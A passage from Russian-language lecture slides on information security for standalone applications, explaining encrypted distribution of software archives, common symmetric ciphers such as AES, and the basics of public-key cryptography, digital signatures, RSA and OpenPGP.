Организация через защищенный канал передает клиенту ключ;

Клиент загружает архив и расшифровывает его имеющимся у него ключом.

Page 87: Обеспечение информационной безопасности

Информационная безопасность автономных приложений

Page 88: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Размещение архива в свободном доступе

позволяет предприятию постоянно обновлять программное обеспечение без постоянного оповещения клиентов. Данный способ передачи удобен для динамично обновляющегося ПО – в этом случае получатели сами следят за выходом более новых версий. Ключ можно изменять с некоторой периодичностью, что позволит усилить защиту.

Page 89: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Примерами симметричных алгоритмов являются:

DES, AES Rijndael, ГОСТ 28147-89, Blowfish, IDEA, Camellia, Twofish, RC4. Многие архиваторы, такие как WinRar, PowerArchiver, UltimateZip, используют метод шифрования AES Rijndael с 128-битным ключом. На данный момент он считается одним из наиболее устойчивых. Относится к группе блочных алгоритмов при размере блока 128 бит. Помимо ключа в 128 бит, работает также с 192 и 256 битовыми ключами. Принят в качестве стандарта шифрования правительством США по результатам конкурса AES.

Page 90: Обеспечение информационной безопасности

Информационная безопасность автономных приложений В асимметричных алгоритмах шифрования

(данный способ также называют криптографией с открытым ключом) используется более сложная схема, основанная на том, что для зашифровывания информации используют один ключ (его называют открытый), а для расшифровывания – другой (секретный). Эти ключи различны и не могут быть получены один из другого.

Page 91: Обеспечение информационной безопасности

Информационная безопасность автономных приложений В случае применения ассиметричных алгоритмов

обмен информацией осуществляется следующим образом (см. рисунок):

получатель генерирует открытый и секретный ключи. Секретный ключ далее хранится в тайне, а открытый делает доступным для потенциальных отправителей;

отправитель, используя открытый ключ получателя, зашифровывает сообщение, которое пересылается получателю;

получатель получает сообщение и расшифровывает его, используя свой секретный ключ.

Page 92: Обеспечение информационной безопасности

Информационная безопасность автономных приложений

Page 93: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Применять данный способ обмена для передачи

одной той же информации множеству получателей невозможно, он предназначен для того, чтобы только обладатель закрытого ключа мог расшифровать информацию. Другой важнейшей функцией криптографии с открытым ключом является электронно-цифровая подпись. Она позволяет передавать информацию, подписанную закрытым ключом ее владельца, а получатели с помощью открытого ключа владельца могут удостовериться, что именно он ее передал. Кроме того, получатель может проверить, была ли информация модифицирована.

Page 94: Обеспечение информационной безопасности

Информационная безопасность автономных приложений Наиболее распространенными

ассиметричными алгоритмами являются RSA и Elgamal. Благодаря стандарту OpenPGP (RFC 4880), существуют совместимые между собой программы, среди которых есть как свободные, так и коммерческие.